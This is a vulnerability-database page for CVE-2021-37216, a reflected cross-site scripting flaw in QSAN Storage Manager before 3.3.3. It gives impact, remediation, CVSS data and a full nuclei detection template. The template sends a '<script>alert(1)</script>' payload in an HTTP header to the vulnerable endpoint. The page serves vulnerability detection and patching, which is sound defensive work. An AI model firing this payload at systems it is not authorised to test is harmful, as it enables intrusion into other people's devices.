Browse / CVEs / CVE-2021-37216
CVE-2021-37216· qsan / xn8024r firmware· CWE-79
QSAN Storage Manager <3.3.3 - Cross-Site Scripting
QSAN Storage Manager before 3.3.3 contains a reflected cross-site scripting vulnerability. Header page parameters do not filter special characters. Remote attackers can inject JavaScript to access and modify specific data.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
Fix
Upgrade QSAN Storage Manager to version 3.3.3 or later to mitigate this vulnerability.
How to confirm it
Send: GET {{BaseURL}}/http_header.php
Positive when: !contains(tolower(header), 'x-xss-protection') AND contains "\"HTTP_X_TRIGGER_XSS\":\"<script>alert(1)</script>\"" AND contains in header "text/html"Run it with nuclei: nuclei -id CVE-2021-37216 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2021-37216
info:
name: QSAN Storage Manager <3.3.3 - Cross-Site Scripting
author: dwisiswant0
severity: medium
description: |
QSAN Storage Manager before 3.3.3 contains a reflected cross-site scripting vulnerability. Header page parameters do not filter special characters. Remote attackers can inject JavaScript to access and modify specific data.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade QSAN Storage Manager to version 3.3.3 or later to mitigate this vulnerability.
reference:
- https://www.twcert.org.tw/tw/cp-132-4962-44cd2-1.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-37216
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-37216
cwe-id: CWE-79
epss-score: 0.0316
epss-percentile: 0.88086
cpe: cpe:2.3:o:qsan:xn8024r_firmware:3.1.5:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: qsan
product: xn8024r_firmware
tags: cve,cve2021,xss,qsan,storage,vuln
http:
- method: GET
path:
- "{{BaseURL}}/http_header.php"
headers:
X-Trigger-XSS: "<script>alert(1)</script>"
matchers-condition: and
matchers:
- type: dsl
dsl:
- "!contains(tolower(header), 'x-xss-protection')"
- type: word
part: body
words:
- '"HTTP_X_TRIGGER_XSS":"<script>alert(1)</script>"'
- type: word
part: header
words:
- "text/html"References
- https://www.twcert.org.tw/tw/cp-132-4962-44cd2-1.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-37216
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/ARPSyndicate/cvemon
Use this check only on systems you are authorised to test. Where the data comes from